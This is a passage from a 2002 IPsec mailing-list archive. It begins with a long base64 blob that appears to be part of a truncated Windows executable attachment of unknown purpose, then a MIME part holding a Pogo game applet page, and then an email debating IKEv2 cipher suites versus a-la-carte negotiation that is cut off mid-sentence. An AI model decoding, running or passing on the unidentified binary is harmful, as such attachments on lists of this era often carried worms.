AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIjTxXdgj8R323nDdwnp wXfkycV33HrDdwB7w3dpEsN37nrDdxF7w3fPwcF3eT3Ed1AxxHdK68F3wT7Ed3nBwXeaKcR3 iDzEd0Q+xHe4JsR3vD3Edw8+xHdgy8F3sjzEd2jrwXcyNsN3sD7Dd0xqxHdYpsR3zjzEdwAA AAC1Ed53Rxzdd55/3ndsdN935lnhd2qo3Xf2XN13RHHddxhg3Xe/Yd13hWbdd2dd3Xf0YN13 WGDddzrc3XeXWd53omDdd0h+3nedDt53Rhbed+ud3Xc0YN13xaXdd+eZ3XcCp913gKbdd1Zz 3XeCU953z13dd86i4ndAXd13mhjdd2Ub3XdrGt13AAAAAFYG6HdvKed3Fn7ndys653djMed3 Q8Lnd6B253dJPOd3lfLndxgG6HfgyeZ3uPDsd+hm6Xdoaed3F4znd+fJ53cmmud3GnXnd9gF 6HeTn+d3/aXnd4GY53dFmud35hvmdwDj93cf4vd3hxX1d2N553c3rOd3fRX1d4ob5ncsFed3 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 CFboV/P//4XAD4RavwAAZvdFDD8BD4QQSQ=9 --H83j7594631dk77o06 --H83j7594631dk77o06 Content-Type: application/octet-stream; name=game-combined[10].htm Content-Transfer-Encoding: base64 Content-ID: DQoNCg0KDQo8aHRtbD4NCjxoZWFkPg0KDQo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhc2NyaXB0 Ij4NCglmdW5jdGlvbiBvblVubG9hZCgpDQoJew0KCX0NCgkNCgkNCgl3aW5kb3cuZm9jdXMo KTsNCjwvc2NyaXB0Pg0KDQo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhc2NyaXB0Ij4KZnVuY3Rp b24gaWRsZU1pbGxpcygpe3ZhciBtID0gZG9jdW1lbnQuZ2FtZS5nZXRNaWxsaXNJZGxlKCk7 IHJldHVybiBtO308L3NjcmlwdD4KDQoNCjwvaGVhZD4NCg0KPGJvZHkgYmdjb2xvcj0iI0ZG RkZDQyIgbGVmdG1hcmdpbj0iMCIgdG9wbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFy Z2luaGVpZ2h0PSIwIiBvblVubG9hZD0ib25VbmxvYWQoKSI+DQoNCjxjZW50ZXI+DQoNCg0K PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9MCBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5n PTA+DQo8dHI+DQo8dGQgYWxpZ249ImNlbnRlciI+PGFwcGxldA0KCWNvZGU9ImcucG9wcGl0 LlBvcHBpdEFwcGxldC5jbGFzcyINCgljb2RlYmFzZT0iL2FwcGxldC00LjEuMi4yNy9wb3Bw aXQiDQoJYXJjaGl2ZT0iL2FwcGxldC00LjEuMi4yNy9wb3BwaXQvcG9wcGl0LW9iLWNvbXAu amFyIg0KCW5hbWU9ImdhbWUiDQoJd2lkdGg9NTA4DQoJaGVpZ2h0PTQwMg0KPg0KCTxwYXJh bSBuYW1lPWNhYmJhc2UgdmFsdWU9InBvcHBpdC1vYi5jYWIiPg0KCTxwYXJhbSBuYW1lPWJy b3dzZXJWZXJzaW9uIHZhbHVlPSI2IDAgMCBBT0wiPgo8cGFyYW0gbmFtZT1yb29tc2VsUGFn ZSB2YWx1ZT0iL3Jvb21zL3Jvb210YWJzLmpzcCI+DQoJDQoJPHBhcmFtIG5hbWU9cG9ydCB2 YWx1ZT0iMTUwNzIiPg0KCTxwYXJhbSBuYW1lPWRiZyB2YWx1ZT0xPg0KCTxwYXJhbSBuYW1l PWJyb3dzZXJJbmZvIHZhbHVlPSJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA2LjA7 IEFPTCA2LjA7IFdpbmRvd3MgTlQgNS4xOyBRMzEyNDYxKSI+DQoJPHBhcmFtIG5hbWU9YWRU YXJnZXQgdmFsdWU9Ii9hcmVuYS9nYW1lLWNvbWJpbmVkLmpzcCI+DQoJPHBhcmFtIG5hbWU9 c2l0ZSB2YWx1ZT0iYW9sZiI+DQoJPHBhcmFtIG5hbWU9Z2FtZSB2YWx1ZT0icG9wcGl0Ij4N Cgk8cGFyYW0gbmFtZT1haHN0IHZhbHVlPSJwb3BwaXQxMC5wb2dvLmNvbSI+DQoJPHBhcmFt IG5hbWU9cmhzdCB2YWx1ZT0iYW9sMTEucG9nby5jb20iPg0KCTxwYXJhbSBuYW1lPWh0bWxQ YXJhbXMgdmFsdWU9InNpdGU9YW9sZiI+DQoJPHBhcmFtIG5hbWU9ZXJyb3JQYWdlIHZhbHVl PSIvYXJlbmEvc2lsZW50Y2xvc2VwYWdlLmh0bWwiPg0KCTxwYXJhbSBuYW1lPWxrZXkgdmFs dWU9IjNjNmE3N2ZlMWUzN2U1YTIwYTY2ZmQzYzAwMDAyODNjIj4NCgk8cGFyYW0gbmFtZT1w cml6ZVdlYlNlcnZlciB2YWx1ZT0icHJpemUucG9nby5jb20iPg0KCTxwYXJhbSBuYW1lPWVy cm9yUHJlZml4IHZhbHVlPSJodHRwOi8vYW9sMTEucG9nby5jb20vZXJyb3IvIj4NCgk8cGFy YW0gbmFtZT1lcnJvclN1ZmZpeCB2YWx1ZT0iLmpzcD9zaXRlPWFvbGYmZ2FtZT1wb3BwaXQm YXNubT1wb3BwaXQtcGxwb3gxMTgiPg0KPC9hcHBsZXQ+PC90ZD4NCg0KPC90cj48L3RhYmxl Pg0KDQo8L2NlbnRlcj4NCg0KPC9ib2R5Pg0KPC9odG1sPg0K --H83j7594631dk77o06-- From owner-ipsec@lists.tislabs.com Sun Oct 6 11:24:16 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g96IOGv14316; Sun, 6 Oct 2002 11:24:16 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA16990 Sun, 6 Oct 2002 13:34:19 -0400 (EDT) X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to kivinen@ssh.fi using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15776.29691.317774.713991@ryijy.hel.fi.ssh.com> Date: Sun, 6 Oct 2002 20:33:47 +0300 From: Tero Kivinen To: ipsec@lists.tislabs.com CC: Radia.Perlman@sun.com, Black_David@emc.com Subject: Subject: Re: Merged IKE - suites and negotiation References: <277DD60FB639D511AC0400B0D068B71E0564C3A7@CORPMX14> X-Mailer: VM 6.89 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 34 min X-Total-Time: 41 min Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Black_David@emc.com writes: > > For instance, although I still prefer > > suites, I'm not exactly sure how the ESP/AH > > extended sequence numbers are supposed to work, now that we're not > > individually negotiating features. I guess it will be defined as part > > of the suite (not only what cryptographic algorithms are used, but > > whether ESP/AH extended sequence numbers will be used). I do not prefer suites. I think they will have way too much dimensions to be useful. I.e things we currently store in the SA information and which would appear in the suite (or somewhere else) (for the IKE). 1) authentication algorihtm - rsa signatures, dsa signatures?, pre-shared keys? 2) encryption algorithm - 3des, aes-128, aes-192?, aes-256? 3) hash/prf algorithm - sha1, md5?, sha2-256?, sha2-384?, sha2-512? 4) Diffie-Hellman group - group 2, group 5, ec-groups?, bigger (2048, 3096, 4096, 6144, 8192 bit) groups 5) Window size fof IKE - 1, 10? ??? I am ignoring here variable length keys in ciphers and groups defined by the parameters. For the IPsec there would be: 1) encryption algorithm for the ESP - 3DES, AES, NULL 2) authentication algorithm for the ESP - no auth, MD5, SHA 3) authentication algorithm for the AH - no AH, MD5, SHA 4) IPComp algorithm - Deflate, LZS?, OUI? 5) Diffie-Hellman group for PFS (if we do support PFS) - group 2, group 5, ec-groups?, bigger (2048, 3072, 4096, 6144, 8192 bit) groups 6) Tunnel / transport / UDP-tunnel / UDP-transport - Tunnel mode / transport mode and NAT-T udp encapsulations 7) Use of extended sequence numbers - on/off 8) ECN ... Again ignoring variable length keys in ciphers, key rounds etc. > What about viewing suites as one component of a multi-component > negotiation, where each component is negotiated independently > as in IKEv2? Then you need code for both, i.e if suites do not define everything then it is easier to do everything ala carte as you already are parsing the packet. > I'm concerned about things like the extended > sequence number and options related to transport processing - > there's currently an SA attribute related to ECN, and I can't > be sure that another won't arise as part of allowing outer to > inner DSCP (Differentiated Services Code Point) propagation > at tunnel egress. These don't feel like natural parts of a > crypto suite, and in essence demanding that everything be > part of an all-encompassing suite only works in 20/20 hindsight. True. > I got bit by the analogous structure of IKEv1 proposals in > the ECN work; if one actually tries to use the ECN Tunnel SA > attribute, it can easily double the number of proposals that > need to be offered. I'd sure like to see IKEv2 not repeat With IKEv2 proposal with ala carte negotiation that would not happened, as each of the parameters was negotiated separately. I.e you would negotitiate ecn on or off and it would not affect your cipher selection. > this problem or make it worse. Having the humility to admit > that we might not have anticipated everything that ought to > be part of IKE would be a good thing. I think having the IKEv2 style ala carte negotiation is easier to code and implement, and there will be fewer bugs than in the suite version. Also I consider that easier to test also, as I can test the code piece by piece. I first start testing all ciphers, without modifying anything else. If that passes then I test all hashes etc... For the software implementations that will usually cover almost everything. And it is quite easy to do test script that will actually test all possible combinations. For suites I would always need to test all possible combinations, and with test script that is 